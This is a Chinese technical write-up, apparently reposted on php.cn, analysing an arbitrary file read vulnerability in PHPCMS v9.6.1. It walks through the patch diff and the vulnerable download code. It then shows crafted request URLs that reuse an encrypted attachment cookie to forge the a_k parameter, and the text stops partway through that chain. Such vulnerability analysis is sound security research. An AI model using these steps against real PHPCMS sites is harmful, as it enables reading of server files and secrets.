讲解PHPCMSv9.6.1任意文件读取漏洞的挖掘和分析过程

coldplay.xixi

coldplay.xixi

2020-12-15

4899人浏览

转载

phpcms使用教程介绍phpcmsv9.6.1任意文件读取漏洞的挖掘

推荐(免费):PHPCMS使用教程

看到网上说出了这么一个漏洞,所以抽空分析了下,得出本篇分析。

1.准备工作&漏洞关键点快速扫描

1.1前置知识

这里把本次分析中需要掌握的知识梳理了下:

  1. php原生parse_str方法,会自动进行一次urldecode,第二个参数为空,则执行类似extract操作。

  2. 原生empty方法,对字符串""返回true。

  3. phpcms中sys_auth是对称加密且在不知道auth_key的情况下理论上不可能构造出有效密文。

1.2 快速扫描

先diff下v9.6.0和v9.6.1,发现phpcms/modules/content/down.php中有如下修改:

--- a/phpcms/modules/content/down.php
+++ b/phpcms/modules/content/down.php
@@ -14,12 +14,16 @@ class down {
                $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
                if(empty($a_k)) showmessage(L('illegal_parameters'));
                unset($i,$m,$f);
+               $a_k = safe_replace($a_k);^M
                parse_str($a_k);
                if(isset($i)) $i = $id = intval($i);
                if(!isset($m)) showmessage(L('illegal_parameters'));
                if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
                if(empty($f)) showmessage(L('url_invalid'));
                $allow_visitor = 1;
+               $id = intval($id);^M
+               $modelid  = intval($modelid);^M
+               $catid  = intval($catid);^M
                $MODEL = getcache('model','commons');
                $tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
                $this->db->table_name = $tablename.'_data';
@@ -86,6 +90,7 @@ class down {
                $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
                if(empty($a_k)) showmessage(L('illegal_parameters'));
                unset($i,$m,$f,$t,$ip);
+               $a_k = safe_replace($a_k);^M
                parse_str($a_k);                
                if(isset($i)) $downid = intval($i);
                if(!isset($m)) showmessage(L('illegal_parameters'));
@@ -118,6 +123,7 @@ class down {
                                }
                                $ext = fileext($filename);
                                $filename = date('Ymd_his').random(3).'.'.$ext;
+                               $fileurl = str_replace(array(''), '',$fileurl);^M
                                file_down($fileurl, $filename);
                        }
                }

主要修改了两个方法init()download(),大胆的猜想估计是这两个函数出问题了。

public function init() {
        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f);
        $a_k = safe_replace($a_k);//关键点2
        parse_str($a_k);//关键点3
        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $id = intval($id);
        $modelid  = intval($modelid);
        $catid  = intval($catid);
  ......
    if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$f) || strpos($f, ":\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));//关键点4
        if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
            $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
            $a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));//关键点5
            $downurl = '?m=content&c=down&a=download&a_k='.$a_k;
        } else {
            $downurl = $f;            
        }
}
    public function download() {
        $a_k = trim($_GET['a_k']);
        $pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
        if(empty($a_k)) showmessage(L('illegal_parameters'));
        unset($i,$m,$f,$t,$ip);
        $a_k = safe_replace($a_k);//关键点7
        parse_str($a_k);//关键点8
        if(isset($i)) $downid = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        if(!$i || $m 3600) showmessage(L('url_invalid'));
        if($m) $fileurl = trim($s).trim($fileurl);//关键点10
        if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(.|$)/i',$fileurl) ) showmessage(L('url_error'));//关键点11
        //远程文件
        if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) { //关键点12
            header("Location: $fileurl");
        } else {
            if($d == 0) {
                header("Location: ".$fileurl);//关键点13
            } else {
                $fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
                $filename = basename($fileurl);//关键点14
                //处理中文文件
                if(preg_match("/^([sS]*?)([-][@-])([sS]*?)/", $fileurl)) {
                    $filename = str_replace(array("%5C", "%2F", "%3A"), array("\", "/", ":"), urlencode($fileurl));
                    $filename = urldecode(basename($filename));//关键点15
                }
                $ext = fileext($filename);//关键点16
                $filename = date('Ymd_his').random(3).'.'.$ext;
                $fileurl = str_replace(array(''), '',$fileurl);//关键点17
                file_down($fileurl, $filename);//关键点18
            }
        }
    }

safe_replace函数如下

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','"',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('','>',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\','',$string);
    return $string;
}

1.2 content/down模块大致流程分析

  1. init方法中根据原始的$a_k(包含了file_down的文件的基本信息),进行一次验证,并且生成,调用

download方法的url,url的schema为$downurl='?m=content&c=down&a=download&a_k='.$a_k(必须符合一定条件。)

  1. download方法接收到$a_k,进行解码,解出文件信息,调用file_down($fileurl, $filename)( 必须符合一定条件)

我们来看下file_down函数,第一个参数$filepath,才是实际控制readfile的文件名的变量,readfile可以读取本地文件,所以我们构造符合条件的$fileurl绕过上述的限制就可以完成本地文件的读取功能!

function file_down($filepath, $filename = '') {
    if(!$filename) $filename = basename($filepath);
    if(is_ie()) $filename = rawurlencode($filename);
    $filetype = fileext($filename);
    $filesize = sprintf("%u", filesize($filepath));
    if(ob_get_length() !== false) @ob_end_clean();
    header('Pragma: public');
    header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
    header('Cache-Control: no-store, no-cache, must-revalidate');
    header('Cache-Control: pre-check=0, post-check=0, max-age=0');
    header('Content-Transfer-Encoding: binary');
    header('Content-Encoding: none');
    header('Content-type: '.$filetype);
    header('Content-Disposition: attachment; filename="'.$filename.'"');
    header('Content-length: '.$filesize);
    readfile($filepath);
    exit;
}

1.2.1$fileurl变量构造分析

如果我们要读取站点的.php结尾文件,由于有关键点11存在,$fileurl中不能出现php,不过从关键点17可以看到进行了替换

$fileurl = str_replace(array(''), '',$fileurl);//关键点17

那么可以想到我们构造出符合.ph([]+)p的文件后缀,最后会被替换成.php。而且这句话是9.6.1新增的,更加确定了,这个漏洞是9.6.1特有的。

再向上上看

if($m) $fileurl = trim($s).trim($fileurl);//关键点10

变量$m为真,那么我们可以通过引入变量$s来构造$fileurl,且$fileurl由变量$f控制。

$fileurl = trim($f);
$a_k = safe_replace($a_k);//关键点7
parse_str($a_k);//关键点8

通过parse_str来extract变量,很容易的得出控制$i,$m,$f,$t,$s,$d,$modelid变量,看到这里我们可以构造$a_k来控制这些变量。

1.2.2$a_k变量分析

再向上看

$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');//关键点6
        $a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);

这个关键点6很重要,因为这里的$pc_auth_key几乎是不可能暴力出来的,然而得到这个加密的$a_k只有在init()方法中使用了相同的$pc_auth_key。所以我们只能通过init()方法来构造$a_k。

我们现在来看下init方法

        $a_k = trim($_GET['a_k']);
        if(!isset($a_k)) showmessage(L('illegal_parameters'));
        $a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));//关键点1

这里可以发现sys_auth的auth竟然是使用系统默认的auth_key,直觉告诉我可能问题出在这里了,除了这个区别,init方法别的逻辑就不再赘述。

1.2.3小结

总结一下:

index.php?m=content&c=down&a=init&a_k=想办法构造出符合条件的。

然后init方法会构造出符合download方法中能够解密的$a_k。

通过对$a_k进行控制,间接控制$i,$f,$m,$s,$d等变量完成漏洞的利用。

2.漏洞挖掘过程

2.1 init方法所接受的$a_k构造

2.1.1探索正常流程中的$a_k构造过程

对源码进行快速扫描,看看哪些地方能够生产对init方法的调用,其实就是常规的下载模型的逻辑。

phpcms/modules/content/fields/downfile和phpcms/modules/content/fields/downfiles中会生成init方法的$a_k

    function downfile($field, $value) {
        extract(string2array($this->fields[$field]['setting']));
        $list_str = array();
        if($value){
            $value_arr = explode('|',$value);
            $fileurl = $value_arr['0'];
            if($fileurl) {
                $sel_server = $value_arr['1'] ? explode(',',$value_arr['1']) : '';
                $server_list = getcache('downservers','commons');
                if(is_array($server_list)) {
                    foreach($server_list as $_k=>$_v) {
                        if($value && is_array($sel_server) && in_array($_k,$sel_server)) {
                            $downloadurl = $_v[siteurl].$fileurl;
                            if($downloadlink) {
                                $a_k = urlencode(sys_auth("i=$this->id&s=$_v[siteurl]&m=1&f=$fileurl&d=$downloadtype&modelid=$this->modelid&catid=$this->catid", 'ENCODE', pc_base::load_config('system','auth_key')));
                                $list_str[] = "<a>{$_v[sitename]}</a>";
                            } else {
                                $list_str[] = "<a>{$_v[sitename]}</a>";
                            }
                        }
                    }
                }    
                return $list_str;
            }
        } 
    }

但是分析发现,content_input和content_output逻辑中权限验证和限制逻辑比较完善,基本不存在利用可能。

2.1.2 黑科技构造$a_k

由于是sys_auth是对称加密,那么能不能找个使用相同密钥生成的地方来生成,对sys_auth进行全文搜索,我们找找有没有符合下列条件的上下文

PHP 8.5.5
PHP 8.5.5

PHP 8.5.5 是 PHP 8.5 分支的维护更新版本。该版本延续了“小步快跑”的迭代逻辑,通过深度错误修复、底层性能微调以及安全加固,旨在为开发者提供一个更健壮、更高效的运行环境。该版本严格遵守语义化版本规范,不包含破坏性变更。

下载
  1. 方式是ENCODE

  2. Auth_key是系统默认的即:pc_base::load_config('system','auth_key')

  3. 且待加密内容是可控的(可以是我们$_REQUEST的数据,或者可以构造的)

  4. 加密后的数据有回显的。

共找到58个匹配项,但是没有符合上下文的,不过我们可以注意到

public static function set_cookie($var, $value = '', $time = 0) {
        $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
        $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
        $var = pc_base::load_config('system','cookie_pre').$var;
        $_COOKIE[$var] = $value;
        if (is_array($value)) {
            foreach($value as $k=>$v) {
                setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
            }
        } else {
            setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
        }
    }

    public static function get_cookie($var, $default = '') {
        $var = pc_base::load_config('system','cookie_pre').$var;
        return isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
    }

param::set_cookie param::get_cookie 对cookie加密是使用默认的auth_key的。

马上对set_cookie进行全文搜索,并且查找符合下列条件的上下文。

  1. set_cookie的内容是可控的。

  2. set_cookie的触发条件尽可能的限制小。

一共找到122个匹配项,找到了两个比较好的触发点。

phpcms/moduels/attachment/attachments.php中的swfupload_json/swfupload_del方法和phpcms/modules/video/video.php中的swfupload_json/del方法

video模块需要管理员权限,就不考虑了,attachment模块只要是注册用户即可调用。

我们来看下swfupload_json

    public function swfupload_json() {
        $arr['aid'] = intval($_GET['aid']);
        $arr['src'] = safe_replace(trim($_GET['src']));
        $arr['filename'] = urlencode(safe_replace($_GET['filename']));
        $json_str = json_encode($arr);
        $att_arr_exist = param::get_cookie('att_json');
        $att_arr_exist_tmp = explode('||', $att_arr_exist);
        if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
            return true;
        } else {
            $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
            param::set_cookie('att_json',$json_str);
            return true;            
        }
    }

我们可以通过src和filename来构造,最终我选的是src,最终形式会是一个json串,当然有多个会以"||"分割。

我们注册个用户登录之后,调用

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=fobnn

产生的数据会是

{"aid":888,"src":"fobnn","filename":""}

然后我们得到response.header中的set-cookie ["att_json"]。

1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

我们修改下down.php->init方法,把DECODE之后的$a_k输出来。

然后我们调用

index.php?m=content&c=down&a=init
&a_k=1a66LXDASYtpYw9EH6xoXQTpeTKxX6z0L0kRQ7_lX9bekmdtq1XCYmMMso3m9vDf5eS6xY3RjvuLaHkK15rH-CJz

激动人心,init方法成功DECODE了$a_k

好了目前验证了我们的想法可行,接下来应该构造可用的payload了。

2.2 json和parse_str

目前要解决的就是 从json中parse_str并且能够解析出$i,$m,$f等变量。

{"aid":888,"src":"fobnn=q&p1=12312","filename":""}

解析{"aid":888,"src":"fobnn=q 和p1=12312","filename":""}

说明parse_str还是解析还是可以实现的,前后闭合一下,中间填充我们需要的变量即可,例如

{"aid":888,"src":"pad=x&fobnn=q&p1=12312&pade=","filename":""}

那么fobnn和p1就是正常解析的,src需要URLENCODE提交,这样不会导致php解析错误。

2.3 构造符合init方法的$a_k

我们先构造一个符合init方法的$a_k使得能完成正常的流程。

        if(isset($i)) $i = $id = intval($i);
        if(!isset($m)) showmessage(L('illegal_parameters'));
        if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
        if(empty($f)) showmessage(L('url_invalid'));
        $allow_visitor = 1;
        $id = intval($id);
        $modelid  = intval($modelid);
        $catid  = intval($catid);

构造pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=用来满足条件。

index.php?m=attachment&c=attachments&a=swfupload_json&aid=1
 src=pad%3dx%26i%3d1%26modelid%3d1%26m%3d1%26catid%3d1%26f%3dfobnn%26pade%3d

得到

3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ
{"aid":1,"src":"pad=x&i=1&modelid=1&m=1&catid=1&f=fobnn&pade=","filename":""}

然后提交

index.php?m=content&c=down&a=init
&a_k=3d3fR3g157HoC3wGNEqOLyxVCtvXf95VboTXfCLzq4bBx7j0lHB7c6URWBYzG8alWDrqP4mZb761B1_zsod-adgB2jKS4UVDbknVgyfP8C8VP-EMqKONVbY6aNH4ffWuuYbrufucsVsmJQ

成功!页面已经生成了调用download方法的url


    <style>
         body, html{ background:#FFF!important;}
    </style>
        <a></a>
    

php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!

相关文章

PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

php 网络安全 web安全

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

相关专题

更多
json数据格式
json数据格式

JSON是一种轻量级的数据交换格式。本专题为大家带来json数据格式相关文章,帮助大家解决问题。

2023.08.07

1558

5

json是什么
json是什么

JSON是一种轻量级的数据交换格式,具有简洁、易读、跨平台和语言的特点,JSON数据是通过键值对的方式进行组织,其中键是字符串,值可以是字符串、数值、布尔值、数组、对象或者null,在Web开发、数据交换和配置文件等方面得到广泛应用。本专题为大家提供json相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.23

1424

1

jquery怎么操作json
jquery怎么操作json

操作的方法有:1、“$.parseJSON(jsonString)”2、“$.getJSON(url, data, success)”;3、“$.each(obj, callback)”;4、“$.ajax()”。更多jquery怎么操作json的详细内容,可以访问本专题下面的文章。

2023.10.13

588

3

go语言处理json数据方法
go语言处理json数据方法

本专题整合了go语言中处理json数据方法,阅读专题下面的文章了解更多详细内容。

2025.09.10

1314

7

cookie
cookie

Cookie 是一种在用户计算机上存储小型文本文件的技术,用于在用户与网站进行交互时收集和存储有关用户的信息。当用户访问一个网站时,网站会将一个包含特定信息的 Cookie 文件发送到用户的浏览器,浏览器会将该 Cookie 存储在用户的计算机上。之后,当用户再次访问该网站时,浏览器会向服务器发送 Cookie,服务器可以根据 Cookie 中的信息来识别用户、跟踪用户行为等。

2023.06.30

8663

10

document.cookie获取不到怎么解决
document.cookie获取不到怎么解决

document.cookie获取不到的解决办法:1、浏览器的隐私设置;2、Same-origin policy;3、HTTPOnly Cookie;4、JavaScript代码错误;5、Cookie不存在或过期等等。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2023.11.23

599

5

阻止所有cookie什么意思
阻止所有cookie什么意思

阻止所有cookie意味着在浏览器中禁止接受和存储网站发送的cookie。阻止所有cookie可能会影响许多网站的使用体验,因为许多网站使用cookie来提供个性化服务、存储用户信息或跟踪用户行为。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

2024.02.23

562

5

cookie与session的区别
cookie与session的区别

本专题整合了cookie与session的区别和使用方法等相关内容,阅读专题下面的文章了解更详细的内容。

2025.08.19

361

14

js 字符串转数组
js 字符串转数组

js字符串转数组的方法:1、使用“split()”方法;2、使用“Array.from()”方法;3、使用for循环遍历;4、使用“Array.split()”方法。本专题为大家提供js字符串转数组的相关的文章、下载、课程内容,供大家免费下载体验。

2023.08.03

1154

5

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP安全与漏洞
PHP安全与漏洞

共12课时 | 2.4万人学习

墨刀帮助中心
墨刀帮助中心

共0课时 | 0人学习

MyEclipse学习中心
MyEclipse学习中心

共0课时 | 0人学习